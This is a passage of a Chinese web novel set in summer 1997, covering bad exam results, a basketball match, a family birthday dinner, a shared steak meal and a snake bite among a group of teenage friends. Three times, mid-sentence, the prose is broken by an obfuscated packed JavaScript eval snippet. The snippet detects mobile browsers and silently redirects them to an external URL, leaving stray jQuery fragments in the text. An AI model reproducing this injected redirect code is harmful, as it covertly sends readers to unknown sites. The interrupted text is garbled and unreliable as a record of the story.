几人慢悠悠离开,谁都没有把背后的吵闹当回事。 等到赵迟来离开时,已经是半个小时之后。 “怎么会呢?怎么会这样……不应该啊。”她嘴里念念有词,一时没注意和丢垃圾的陈抑休撞肩而过。 “嘶……” “哎一休哥?你没事吧?”她立刻回神。 “没事。” 陈抑休摆摆手,“你刚说什么呢我没听清?” “还能是什么?”她长叹一口气,望天感叹,“如果能把你做成我的外置大脑一起去考试就好了,这样你就不只能救我一时了。” “你别说,这是一个很好的研究方向。”他居然认真思考起了这件事的可行性。 “……” 赵迟来收回视线,想怼他两句,脑子里莫名闪过刚才他和黎明律方糕对峙的场面。忍不住好奇:“哎,你说你怎么就没和黎明律一个学校呢?” “嗯?”他没懂。 “这样你就能锉锉他的威风,让他也尝尝被人碾压的滋味了!”光是想想这个画面,赵迟来都爽得不行。 “……你想看他吃瘪?” “当然了!我从见他第一眼就想了!难道你不想吗?”她小声蛐蛐。 陈抑休嚅了嚅唇,似乎想说话。赵迟来突然想到什么又哀叹一声:“不过也就是想想,毕竟你除了数学还行,其他的也就跟我半斤八两。” “……” 陈抑休双目圆睁。 赵迟来拍了拍他的肩膀,语调哀伤:“加油,一休哥。” 10. 1997年夏 10 赵迟来跪在地上,垂头不语。 “语文61,数学8,英语36,历史68,政治54,地理88。” 梁惠抓着成绩单的手微微发抖,她气懵了,对厨房里来来回回的赵庆国笑道:“呵,老赵,看来咱们家要出个地理学家了!” “我觉得挺好。”赵庆国似乎没听懂,“三百六十行,行行出状元嘛,对吧慢慢。” 赵迟来正要点头,被梁惠狰狞的笑意吓回去。 “你上学期都不止这么点,说眼看着高三了给你补习,你都补到哪里去了?” 赵迟来不敢吭声。 “说话啊,怎么不说话?” “怕你打我……”她嗡嗡开口。 “呵,我哪敢打你?你可是朝生拳馆的第三代传人,只要你想,一拳能把我打个对穿。”她抱胸侧身,一副哀莫大于心死的样子。 “行了,你也就这样了。” “我不管了,我就当我生了块叉烧,”她端过瓜子盒嗑起来,“老赵,回头收拾收拾准备回渔田种海带了。” “行,我这就去买票。”赵庆国擦手就往外头走。 “……”梁惠愣了愣,见他是往杂物房方向去的,面色才好看点。 “妈,你生气不要憋在心里嘛,阿嫲说容易得胸病,”赵迟来膝行几步挪到她身边,蹭了蹭她的腿,“妈,妈妈。” “死开。” “想打就打我嘛,我可抗揍了。上回和于大头那场,我都被她打得吐血了,还不是什么事都没有?”她在危言耸听,不过是碰巧被打落一颗牙齿罢了,还是颗本来就要落了的牙齿,却被她说成好像什么重伤。 “那位17号?确实有点东西,我估摸着这次还会碰上,我过两天也休了,到时候陪你好好练练。”赵庆国端着一碗杂咸回来,正好听见。 “练个屁!给我补习去!好好的孩子身上没一块好皮!”梁惠果然心疼上了。 “补习归补习,比赛也不能松懈。”赵庆国这回没有让步。 “你看看她的成绩单,现在是比赛的时候吗?她得先考上个大学!”她一把拉住他的手,把单子怼到他面前,彻底调转火力。 “比赛的事你甭想了,明天我就给她送去坐牢,不提个百八十分上来走不了。” “那不行,下个月她得去打比赛,我报名申请都提交了。” “今年不成,你等明年吧。” “一年就这一回,明年就进不去青少年组了,相当于这就是最后一次,我不答应。” “赵庆国!你要死啊?” 眼看两位教育家自己起了内讧,赵迟来找准机会偷偷起身,等出了大门撒丫子狂奔。 刚进巷口和迎面来的张鑫撞上。 “咔哒。”他下巴上发出清脆的一声。 “哎哟我说,这地有这么烫脚吗?你跑这么快干什么?” “我锻炼身体不行吗?”她扭头继续跑。 张鑫嗤了一声:“我妈没在家,你换个地方躲吧。” 赵迟来跑着退回来:“去哪儿了?” “进货呢。” “那你这是去哪儿?” “你管我。”他爱答不理。 “不行,你得带我一起。”她一把抓住他领子,仿佛抓住什么救命稻草。 “哎呀死开。” 她跟着张鑫进了校体育馆。 还没进去,汹涌热烈的人声就像惊涛骇浪朝脸拍过来。 赵迟来顶着一头汗,纳闷儿:“来这儿干嘛呢?” “体育馆能干嘛?当然是看比赛了。”他自顾往前走。不过一会儿,挤进一堆人群找了个座。 “慢慢?”旁边响起文思泉的诧异,“你不是说不来吗?我们都没给你占位置!” “啊?没事,我就是随便走走,你们这是干嘛呢?”连陈抑休也在。 陈抑休闻言举起一块超大手写卡纸—— 【大杀器!黎明律!】 “一休哥你还会这个?” “思泉给的。” “我就说,只有思泉的手才叫手。” “黎明律今天有比赛?” 她转头望向场内,果然在一堆球服高个儿里发现一个熟悉的身影。 “对啊。” “你们怎没告诉我?” “你看我说什么来着,声音在她耳朵里走直线,压根不走心。”张鑫煞有其事吐槽。 文思泉没理他:“说了的那天,你说你不来。” 赵迟来哦了一声,隐约想起来:“过去点。” 张鑫一巴掌给她推开了:“热死了自己找去。” 文思泉招手:“慢慢你坐我腿上。” “不要,我就要坐这儿。咱俩一起给他挤走!”她也是和张鑫犟上了,玩起了你推我挤的游戏。 论力气,他肯定不是对手,被她挤走是迟早的事情,赵迟来信心满满。 球场。 队友靠住黎明律的肩膀,一脸八卦:“咱们要不要打个赌,满场有多少人是冲着你来的?我赌60%。” 黎明律平静喝水,眼神扫过一处角落,微微停顿。回头朝队友微笑道:“我赌100%。”说罢拿开他的手,去了旁边的工作人员席位,和中间的人指着观众席沟通。 “这家伙,真该有人来治治。”队友一脸牙痛。 观众席。 赵迟来如意拿到座位,但刚坐下没多久呢,就有个挂胸牌的学生过来请他们去前面坐。 “嗯?你确定是我们?” “是的,是黎学长刚刚给你们申请的 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“好了好了都别吵了,要不我先回去拿点。” “阿律。”陈抑休第一个发现。 “阿律你也太厉害了!那个扣篮那个暴杀!”张鑫眼神一亮立刻比比划划。 “嗯。”黎明律换了身衣服,头发上不晓得是水还是汗,引得周围有人频频回头。 “厉害!以前怎没发现你球打得这么好?”赵迟来也竖起大拇指。 难得听她说句好话,黎明律嘴边的笑意却突然凝固,没接茬:“你们怎么还没走?” “明知故问,”赵迟来心生一计,“你们冠军奖金不少吧?打算请我们去哪儿吃饭?” “……” 他沉默了一会儿,“我得回去一趟。” “哦,那我们去三岔口等你!”三岔口就在北街下面,是一片美食街,每次聚餐基本都在那边。 “嗯。”他应了一声。 等他走远,文思泉小声问:“慢慢,咱们是不是有点太过分了?” “啊?怎么会?” “他看起来不是很高兴的样子。” “那不是很正常吗?他哪天看起来很高兴才叫完蛋了!”赵迟来不以为意。 “……也对。”文思泉想了想,点头。 大家被说服了,转而讨论起等会儿吃什么。 但这顿野食终究还是没吃成,几人刚走过骑楼广场,就碰上张鑫他爸。得知他们打算找黎明律混吃混喝,一个抓颈就把张鑫提走了。 11. 1997年夏 11 “一天到晚正事不干就知道下馆子?下得明白吗你?”张鑫瞬间失去了反抗能力,嘶声叫他轻点儿。 “不是张叔叔,是黎明律刚拿了联赛冠军,我们才说一起聚一聚,不会玩太晚。”赵迟来立刻解释。 张爸没立刻信,转头看向剩下的两个。文思泉和陈抑休懂了,相继点头。“是的叔叔。” 他这才将信将疑把张鑫放了。 但也没让他们继续离开:“回来得正好,慢慢她爸妈叫咱几家晚上一起聚聚,你们也别出去了,一起来吧。”丝毫不提刚刚莫名其妙把张鑫扭了一顿的事。 张鑫拉着领子轻哼一声,退远了些。 赵迟来疑惑:“哎?今天来我家聚餐吗?我怎么不知道?” 张爸对她已经算是和颜悦色:“你爸妈生日,你忘了?” 赵迟来还真是忘了! 前段时间为了备考一直忙得脚不沾地,压根没想起来她爸妈的生日就在这几天。 “完了完了,我什么都没准备呢,今天还跟我妈吵了一架!”她有点慌了。 “算不了什么大事,等会儿进门给你妈道个歉就行了,他们也没指望你什么礼物,听话上进就是最好的礼物了,做父母的都是这样。” 他笑着宽慰赵迟来,招呼文思泉和陈抑休也跟上,又问他们家里人在干什么,最近学习怎么样。 “哼。”张鑫倒是落在最后。 说来也巧,赵庆国和梁惠的生日是同一天,每次都是一起庆祝。 梁惠爱热闹,通常都会叫上周围相熟的几家一起聚餐,这次也是一样。张鑫爸妈肯定要来的,舅舅在广州做生意暂时回不来,但舅妈表哥他们会来,黎阿公也会来,但总是坐不了一会儿就说困了得回去休息。 除此之外,还有几个以前朝生拳馆旁边的阿叔阿姨,拳馆倒闭后他们也偶有联络。 文思泉的妈妈向来是不参与这些活动的,但也不反对文思泉过来。 陈抑休的养父母一家尚未回来,也不在邀请之列,就算他们在家,梁惠也不会邀请他们。 他们回来的时候,院子里已经坐了不少人。 当着大家伙的面,梁惠倒是没有再旧事重提,但也狠狠瞪了赵迟来一眼。赵迟来立刻警觉上前,接过她手里的瓜果盘子:“辛苦了妈妈!这些小事就交给我吧!” “叔叔阿姨好。” 文思泉和陈抑休向来招长辈喜欢,进来就和大家攀谈起来。 梁惠指了指杂物房旁边的角落,给她使了个眼色:“你再去搬张桌子,等会儿你们几个自己在这儿吃,别来打扰我们说话。” 赵迟来一听就知道她这是不打算再追究,毕竟都让上桌吃饭了! “好的妈妈!我这就去妈妈!” 她兴致勃勃冲进房里,三两下把平常用来放杂物的桌子清理干净,扛起来往外搬。 到门口的时候突然卡住。 她换了方向试图把桌子提起来,不行。又换一个,还是不行,接连换了几个角度都没什么进展,她有点恼火,按住桌沿就打算硬拖出去。 手上忽然一轻。 抬头的功夫,桌子已经从门口过了一半,轻轻松松。 “一休哥?”他不是正在和叔叔阿姨说话吗? “这种事情下次叫我就好了,放哪里?”他按照赵迟来的指示把桌子放到角落,一边收拾一边说,“迟来你虽然是个大力士,但也是女孩子,女孩子不应该为桌子怎么放这种事情伤脑筋。” 文思泉眨了眨眼。 “他是不是书看魔怔了?” “谁?你说一休哥?” “他以前也这么会说话吗?” “他不是一直很会吗?”赵迟来没觉得有什么稀奇,又使唤他干起了其他事情,留下文思泉一脸怀疑。 今天吃火锅,准备的菜太多,赵迟来半路把张鑫和文思泉也拉过来,让他们自己动手。除了张鑫不情不愿总是添乱,其他俩都挺配合。 对面的大人桌已经陆续开煮,章阿兰扯了扯梁惠的袖子,示意她看对面:“看慢慢。” 梁惠抽空看了一眼,疑惑:“看了,然后呢?” 章阿兰笑着感慨:“怪招人喜欢的,和谁都能玩到一块儿。” 梁惠嘴角几乎压不住:“这叫人格魅力,随我。” 张爸幽幽开口:“在绝对的武力面前,人人友善。” 两人筷子骤停,同时转头,他立刻忙起来。 两人继续聊。 “我要是有个慢慢这样的女儿,这辈子啥都不要了。”章阿兰眼含揶揄。 “也不晚,还能生。”梁惠压根没听懂。 “哎呀我说,我们家阿鑫给你做女婿要不要?”章阿兰摊牌了。 梁惠一愣,仔细看了两眼,摇头:“不行。” “为什么?”章阿兰也就是玩笑话,没想她竟然认真回答。 “慢慢使唤不动他。” “那不是可以慢慢教嘛,你和老赵一开始不也相看两相厌的?” “你也不看我吃了多少苦?我吃过的慢慢绝不能再吃了。” 章阿兰想了想,似乎觉得有道理,转眼看见赵迟来使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259268|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唤陈抑休去洗菜,又含笑打趣:“那阿休呢?我看他挺听使唤的。” 赵庆国插话进来:“他不成,他连慢慢长什么样都记不住,不成。” “噗!” 章阿兰又想到之前的接人乌龙,颇为赞同。 “那不还有一个呢吗?” “谁?” “阿律——” “来得正好,刚要开吃!” 赵迟来一眼看见门口的黎明律,他又换了身衣服,头发也吹干了,看起来清爽不少。 哪知道她话音刚落,对面大人桌就响起一阵大笑。梁惠拍着大腿正笑得前仰后合:“哈哈哈!那我做梦都得笑醒!” 旁边的章阿兰也是一样,笑得眼泪都快出来,还不忘在她耳边继续说。 “?” 大人的世界怪看不懂的。 小孩桌吃完就散,大人桌这顿饭一直吃到很晚。饭菜早就见底了,但桌上的茶水换了一轮又一轮。 他们肆无忌惮回忆着年轻时候的事情,离开时有人突然提议。 “要不然咱明天去那儿看看?看看还是不是老样子!” “那地方早就不在了,上山下山的也麻烦,到头来什么也见不着,光在那儿爬山了。” “爬山就爬山,正好活动筋骨!” “也行,难得大家都有空。” 赵迟来从凉椅上迷迷糊糊睁眼,还没明白怎么就到了这一步,就听他们已经约好明天一起去爬山。 “爬山?咱们一起去吗?”她问送人回来的梁惠。 “没你们的事,这次是我和你爸的解放时间。” “那你们什么时候回来?” “看情况吧。” “哦,那我明天去兰姨家吃饭。” “她也去。” “啊?” “不仅她去,今天来的这些叔叔阿姨明天全都会去。” 梁惠一脸轻松,说完从钱夹里爽快拿出十块钱给她:“明天的饭你自己解决吧,至于补习……等我回来再安排你。” 虽然错愕,但赵迟来也没说什么反对的话,她打算明天去文思泉家打发时间,顺便混口饭吃。 但没想到的是,文妈半道就被他们劫走了!赵迟来眼睁睁看着他们一起走的。 拿着空碗站在门口好一会儿,她终于还想到一个人。 “什么?阿公也不在?” “嗯,隔壁有人修祠堂,让他给看看风水,估计很晚回来。”黎明律如是说。 “好吧,看来只能自己解决了。”她转头,对上两张同样茫然的脸。 12. 1997年夏 12 文思泉是打算出去吃,张鑫是打算也来混口饭吃。 黎明律看明白了,退后一步让他们进来:“要不你们自己做,菜倒是有。” “不用麻烦……”赵迟来下意识推辞。 “昨天刚到的牛排。” “那就不客气了!”她立刻改口,率先进门。 他们三个一起蹭也是蹭,再多一个也不多,黎明律回头就把正准备煮泡面的陈抑休也叫过来。 赵迟来想起舅妈也被叫走,表哥和小午单独在家,对返回的黎明律点点头:“我去叫一下我哥,老板大气!”说完自顾跑走了。 黎明律:“……” 陈抑休:“哦,等你啊!” 扭头对上黎明律疑惑的眼神,他微笑:“怎么了?” 黎明律面露困惑:“你们也太理所当然了吧。” 陈抑休一顿:“那,不然呢?” 黎明律无话可说。 陈抑休忽然恍然大悟:“哦——我们得先客气一下,你再热情邀请,我们再推辞,你再强行把我们拉过来,这样三辞三让,最后各退一步……唔唔!” 黎明律已经走了,听见他在原地的胡言乱语,又忍不住折回来把他的嘴捂了,挟脖拖进去。 录像厅。 一辆黄色跑车在隧道铁轨中呼啸而过,过弯转向不及时,刮着隧道墙壁卡顿了两秒,继续往前冲。 赵迟来进来的时候,梁辰嘴里正在劈里啪啦说着国骂,她看了眼在旁边安静看动画片的表弟,上去就给梁辰后脑勺来了一巴掌:“求你干点正事吧哥,小午就在这儿坐着,你骂这么脏给谁听啊?” 梁辰摘下耳机嘶声扭头:“我刚爬起来……” 赵迟来扬拳,他立刻噤声,回头小声嘟囔:“没大没小。” “打游戏是没有前途的,游戏里是能长出钱来吗?小心舅舅回来又和你断绝关系。” “下次别打脑袋。”完全没听进去。 “小午啊?在看什么?”她摸了摸表弟的脑袋,在他旁边蹲下来。 “小丸子。”他松开嘴里的冰水,抽空回答。 “哎呀小丸子哪有葫芦娃好看,下次看葫芦娃!”她夺过他手里的冰水袋子,叉起咯吱窝出门。 “姐姐我们去哪里?”他情绪格外稳定。 “去吃牛排,嘘,别让你哥听见。”边说边忍不住捏了捏他的嘟嘟肉。 “那这必须能听见!” 梁辰掀开耳机冲出来,抢过她手里的梁午撒丫子跑没影,“吃牛排去咯!最后到的洗碗咯!” 表弟还算有良心:“那哥哥你先等等,我和姐姐先过去……” 饭是赵迟来煮的。 菜是文思泉洗的。 牛排是黎明律煎的。 场地是陈抑休来布置。 啊?表哥干嘛? 他负责大吃特吃和张嘴喷饭。 “不错不错这个牛排,很油润。”他夹起一大块切好的牛肉盖在堆出来的米饭上,一口吃平,“但是这个青菜有点煮老了,还有点淡,下次多放点盐再少煮一会儿。” “吃饭都堵不住你的嘴,你等会儿把碗洗了。”赵迟来一筷子按在他第二块肉上,没好气抢了他的座。 他麻溜转身,夹走了小午刚刚试图放进嘴里的那块。 “你真是!少吃两块会死啊?思泉都没吃两口!”赵迟来一脚踹过去。 小午吃了两口空气,又改去舀紫菜汤。 “小午要喝汤是吗?来碗给我。”张鑫吃归吃,但还算有眼色。 黎明律还没上桌,他手里的两个锅忙得都快冒烟了,根本赶不上他们吃的速度。 “阿律,你要不要先来吃点?”陈抑休回头。 “不用,你们先吃。” “这不是先后的问题,是你再不来碗都得啃干净。”张鑫抽空插嘴。 他又端了两盘新的过来,交代赵迟来:“你剪一下。” 赵迟来一口饭菜还没咽下去,好在文思泉已经主动伸手:“我来吧,让慢慢多吃点。”于是继续闷头吃。 “小午,我想吃这个,你给我夹点。”表哥指着鹌鹑蛋,把碗伸到小午面前。 “吃吃吃,怎没吃死你?” “姐姐你先冷静一下,等他吃饱了再打。”小午阻止。 “哎嘿,亲弟弟就是不一样!来,哥哥亲一个!”梁辰抬手捞起小午放自己腿上,正大光明继续抢,顺手给他添了一块。 “谢谢哥哥。” “快吃吧。” 赵迟来的脸色一言难尽。 她收回视线看了眼不远处的露天灶台,锅里正在冒烟。黎明律这个家伙,正盯着梁午两兄弟也不知道在想什么。 果然是觉得他们吃太多了吧? 人是她叫的,赵迟来有点不好意思,放下碗筷接他的手:“都糊了,我来看着你去吃。” “嗯?没事。”他回神退了一步。 “叫你去就去,等会儿饿瘦了。” “你会……”他有点不放心。 “这有什么不会?去吃吧你!”她推了他一巴掌。 文思泉远远见他过来给他递了个碗。 “谢谢。” “不客气。” “你这牛排哪儿来的?那包装我都没见过。”张鑫好奇。 “港城寄过来的,怎么了?”黎明律随口回。 “哦你爸他们,不便宜吧?” “还行。” “你哥呢?还在美国读书?” “吃都堵不住你的嘴?”他忽然撂下筷子。 “行行行我吃,我闭嘴。” 小午也撂下筷子。 他从梁辰身上溜下来,走到一边掏出个玩具自己玩。 陈抑休看了两眼,问:“那是六面兽吗?” 梁辰点头:“这小子前段时间迷上了《头领战士》,非要我给他买这个,死贵死贵还根本抢不到。” 文思泉忽然想到什么,含笑:“对了,你上次说的科幻巨作写得怎么样了?快发表了吗?” 是的,梁辰是个作家。 中学读完之后没考上大学,创过几次业都以失败告终,年初开始窝在家里成了个待业青年,当然,用他的话说,这叫作家。 “不提这个,”他摆摆手,兴致勃勃说起另一件事,“我跟你们说,我又想到一个好点子,绝对能火。”说完后仰了一下,卖关子没有继续往下说。 但根本无人接他的茬。 他只好自己砌台阶:“没听清是吧,我是说我想做一款寻宝游戏,还是赵慢刚刚提醒我的,游戏里能长出钱来,听着都过瘾对吧?” “这回你爸可一毛都不会给,你想清楚。”赵迟来翻了个白眼。 “他给我还不要呢!”梁辰呸了一声,继续问,“你们觉得怎么样?” 陈抑休埋头吃饭:“挺好。” 文思泉也埋头夹菜:“确实挺好。” 张鑫指了指黎明律,拉上嘴巴上的拉链。 他又转向黎明律,黎明律慢条斯理咽了一口,欲言又止。 “说啊,哥可没把你当外人,尽管说!” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259269|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得……”他真说了,“逃杀或者策略攻防类的,会比寻宝好一点。” “还得是你,展开说说。”梁辰洗耳恭听,其他人都松了口气。 两人开始大谈创业计划,当然基本上都是梁辰在输出,黎明律只是偶尔附和一两声。 “你看啊,《变形金刚》带火了那些汽车玩具,《恐龙骑士》带火了恐龙玩具,你说咱们这个游戏里有没有必要也加入一点手办之类的元素?总之类似于广告的东西,一鱼两吃?” “嗯嗯,可以。” “那你觉得从哪儿下手比较好呢?” “在家就行吧。”黎明律开始乱回。 “我是说市场!” “那就中东吧。” “中东?” “迪拜,阿联酋不是很有钱吗?我看那边还缺一款中国游戏,你可以试试。” “好主意啊!” 赵迟来端着两碗发黑的牛排过来,解救黎明律于水火。 “嘿嘿,有点糊了。” “都要碳化了你说有点糊了?”张鑫大为无语。 “也不是不能吃嘛!思泉你说是吧?”她眼含希冀。 文思泉拿起来认真打量了一会儿,点头:“还能救,给我剪刀我试试。” 赵迟来瞬间松快:“我就知道!” “哥哥我要尿尿。”小午跑过来。 梁辰吃完最后一口:“听君一席话胜读十年书,阿律,我不会辜负你的!”他一副兄弟情深的样子,甚至捶了把胸口,“去去就回。” “慢走。”黎明律微笑。 “真是半点指望不上。”赵迟来过来收碗,不小心踩了黎明律一脚,但她毫无所觉。 “……” 受害者凝噎片刻,端碗起身进了屋。 陈抑休为了躲开她擦桌子的抹布,不小心撒了点汤在身上,原本是没打算当回事的,是被赵迟来指着污渍问了一句“你不去洗洗吗”,才放下碗筷起身。 桌边只留下专心吃饭的张鑫和专心处理牛排的文思泉。 过了一会儿,牛排处理好了。 文思泉装了一部分进盘子,又看了一眼桌面的情况。除了她和张鑫,只剩下一个没吃完的碗。水龙头旁边蹲了两个人,赵迟来和陈抑休应该都没在吃了,那剩下的这个…… 她抿了抿唇,挑出几块鲜嫩的又修剪了两下,打算放入那个碗里。 张鑫眼尖看中,伸碗过来:“给我吧。” 她下意识躲开:“不行,这是给……给……”说到一半忽然结巴起来,脸上还有泛红的趋势。 “赵慢已经没吃了,你给谁?给我得了。” “不行不行,不能给你。” “哎我就偏要了!” “你别抢,这是我给……留的!” 这边的吵闹引起赵迟来的注意,她抬头。 黎明律换了双鞋从屋里出来,蹙眉:“你们在抢什么?还有的是。” 文思泉抓住机会把肉投进对面的碗里:“不给!” 张鑫伤心欲绝:“好啊,我说干什么扭扭捏捏,原来是给一休哥留的!枉我平时对你关照有加,真是白眼狼啊白眼狼!”他愤愤往嘴里塞了一口菜。 这话一出,文思泉忽然愣住了。 她扫了一眼桌上的碗,又转头看了眼洗手的陈抑休,哐当丢下手里的剪刀,扭头跑了。 “……” 赵迟来也看了看桌上的碗,又看了看身后一脸茫然的陈抑休,再看看含羞带气跑掉的文思泉,忽然瞳孔地震—— “不会吧?这么炸裂吗?” 13. 1997年夏 13 梁辰带小午回来,对院子里诡异的气氛感到奇怪。“怎么就收了?我还没吃完呢。” 赵迟来还震惊于自己的发现,压根没空理会他。 黎明律一头雾水指了指身后:“碗在柜子里,自己拿。” 张鑫收回视线:“莫名其妙。” 小午路过他身边,他玩心大起,一把抢走小午手里的六面兽,大喊:“不好啦不好啦!六面兽被坏人抓走了!会是谁呢会是谁呢?” “……” 小午愣了一会儿,什么话也没说,只是嘴巴扁了扁。 张鑫心生不妙,立刻道歉把东西还给他,但已经晚了—— “呜!呜呜呜!哥哥他欺负我……” “张三金你找死啊?”赵迟来火速赶来,飞踹他一脚,抱起小午摸头安慰。 “怎么了?”表哥终于看过来。 张鑫紧张解释了两句,他没当回事,继续和黎明律说话。赵迟来耐心哄着,但这孩子今天不知道怎么回事,竟一直停不下来。 她气得又给了张鑫一拳,问黎明律:“哎,你家里有没有空盒子啊?拿一个给我哄哄。” “做什么?” “给他变个魔术。” “要什么样的?” “都行,别太小。” 黎明律很快去了,拿回来一个两掌长宽的盒子,大小正好,但是透明的。 “……你能不能拿个纸盒?我做点手脚不全看见了吗?” “没有。” 她放弃指望,伸手把自己头上的橡皮筋拉了,当成绳圈套在食指中指两根手指上:“当当当小午!看姐姐给你变个魔术!我可以把这个绳子瞬移到无名指和小指上面哦!想不想看?” 小午听到这儿终于停下来一些。 赵迟来握拳,悄悄把四根手指尖挪到发圈里面,随着啪嗒一声,手指展开,发圈成功弹射到无名指和小拇指上! 由于弹性好速度快,就像真凭空瞬移过去的一样。小午看着这一幕,惊呆了。 “姐姐?” “姐姐好厉害!” 他逐渐兴奋,把刚才的不愉快丢到九霄云外。赵迟来松了口气,把发圈拿给他自己研究。 起身回来的时候和两双眼睛对上,陈抑休是恍然大悟,黎明律则淡淡的不知道在想什么,见她看过来很快收回视线,看起来只是碰巧出神。 “你们在说什么?”她好奇。 “说到一款联机游戏,可以通过电脑同时多人在线比拼,很有意思你试试吗?”表哥说到游戏就兴致勃勃。 赵迟来淡淡哦了一声:“你要说联机冲浪我还有点兴趣。” “冲浪怎么联机?”张鑫没听懂。 “我就是这么一说,想着以后如果大家都在网上冲浪,那肯定得有个自己的房间号才行,不管相隔多远,只要知道对方的房间号就能来回联系,那以后串门多方便啊!都可以不用见面了!”她大胆畅想。 “哪儿有这么个东西给你串?” 张鑫觉得天方夜谭。 黎明律眨了眨眼,若有所思:“听起来……有道理。” 陈抑休已经没在听了,他从墙脚扒拉出一个西瓜:“迟来你要吃吗?” “吃!”她立刻举手。 盛夏就应该配冰西瓜。 他扒拉出来的这个在太阳底下晒了大半天,指不定有多烫,赵迟来一眼看中葡萄架下泡在水盆里的那个,让他等等。 架子底下荫凉又靠近水缸,歇了不少蚊虫,随手就拍死一个。 盆里的水冰冰凉凉,她抱住那只瓜洗了洗,水波激荡发出一阵哗啦声。眼角余光里隐约流过一道水影,她停下瞄了一眼,什么也没有,以为是盆里溢出来的水波。 起身的时候看见有几串葡萄里夹了几颗紫色,眼神一亮,叫了一声“一休哥”,让他过来拿走,自己就在藤架上翻找起来。 手上一轻,瓜被人接走。 声音却不是陈抑休:“阿公刚喷完虫药,你也不怕毒死。” 赵迟来不以为意,继续往嘴里放:“你都没把我毒死,它能把我毒死?” 他果然又露出那副吃噎了的神色。 陈抑休拿着水果刀从屋里出来,眼见葡萄藤那儿两人在说什么,眼神骤凝:“阿律,蛇!” “什么?” 赵迟来没听清,黎明律已经抓住她的手肘甩去身后。 回过神悄悄探头,刚刚泡西瓜的水盆旁边不知道什么时候居然出现了一条蛇! “哎我的妈!” 她瞬间炸毛,扯住黎明律的衣摆就往后拖,“快走快走!” 黎明律正在抽取架子上掉下来的篱笆,猝不及防被扯个趔趄,手里的瓜差点掉出去。 “我去,怎么会有蛇?” “抄家伙抄家伙!” 其他人也反应过来,梁辰抱起小午,张鑫找起工具,陈抑休扫了一眼洗手台边的硫磺皂,第一时间泡进盆里。 “瓜拿走,你躲远一点。”黎明律一边盯着那蛇,一边把手往回递。 赵迟来哆哆嗦嗦抱住,脚下却忘了动。其他人渐渐围过来,有的分散注意,有的伺机动手,倒是没有特别慌乱。 但也没有特别有种。 眼看着那条蛇逐渐被激怒,不断引颈攻击,赵迟来越发慌乱。 “叉叉叉叉啊!赶紧叉出去啊!” “说得容易,万一没叉中明天全牌坊街的人都来吃桌了!” “好了别吵,它已经很不耐烦了。” 话音刚落,那条蛇果然朝说话的方向扑过来,赵迟来惊叫一声,下意识把手里的瓜砸出去。 啪的一声,蛇头被砸个正着瞬间缩回去,但原本要落到它颈后的钢叉也叉了个空,瓜瓤碎了一地。 “赵慢!你能不能别添乱?”张鑫忍不住吼了一句。 “你能不能眼神准一点?”她也不知道啊! “好了我来。”黎明律接过叉子,朝蛇走了两步。 赵迟来又怂又关心,跟在他背后亦步亦趋。 “叉这边,这边好叉。”她指指点点。 “好知道了你松手。”他无奈。 “松手万一它扑过来怎么办?这样我还能拉你一把!”她边说边演示,没注意一脚踩中地上的碎瓜皮,哧溜一声仰面滑出去。 那条蛇本就伺机多时,见状再次扑身而上。 黎明律顾不上拉人,立刻投叉,那条蛇飞身躲得快,只斩住后半身,如果继续探头轻易就能咬住赵迟来滑过来的腿。 未及细想,他已经抬脚踩向蛇头。 “嘶……” 赵迟来捂住脊椎骨,疼得浑身发卷。 “阿律!”“迟来?”“慢慢!” 大家立刻围过来查看情况。 “我没,没事……那蛇叉住了吗?”她摆摆手挣扎起身。 身旁无人回应。 蛇头已经扁了,陈抑休丢掉手里的铁锹,蹲下来拉起黎明律的裤脚查看:“刚是不是没踩中?我看看。” “什么意思?黎明律被咬了?”赵迟来不可置信。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259270|166523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他没有回应,但嘴唇泛白,额角也起了薄汗。 赵迟来忍不住有点慌了:“怎么会这样?对不起……好像是,好像是我害的,这蛇有没有毒啊哥?黎明律不会真被咬死了吧呜呜……” 她想要看看伤口又不敢碰,急得跳脚,回头扯住梁辰问他该怎么办。 “还能怎么办?送医院。” 梁辰把小午交给她,转头去屋里打急救电话。 陈抑休已经捏住他的伤口用盆里的肥皂水冲洗,张鑫也在到处找扎带。 “对!医院!”她强迫自己镇定下来,“走黎明律,我带你去医院!”说着放下小午在他身前蹲下来,拍了拍肩膀示意他快上。 “你别添乱,一休哥急救呢。”张鑫提醒,“你还是先盯着小午吧,别让他也被咬了。” “对不起黎明律……” 她措辞片刻也只能说出这句话。 “没事,你马上就能知道了。”黎明律捏着腿,还有力气笑。 “嗯?” “我和它到底谁更毒。” 赵迟来一时没反应过来,脑子转了一会儿才想到前不久停电那次,她在巷口说的气话。 “我这个乌鸦嘴……” 她更想哭了。 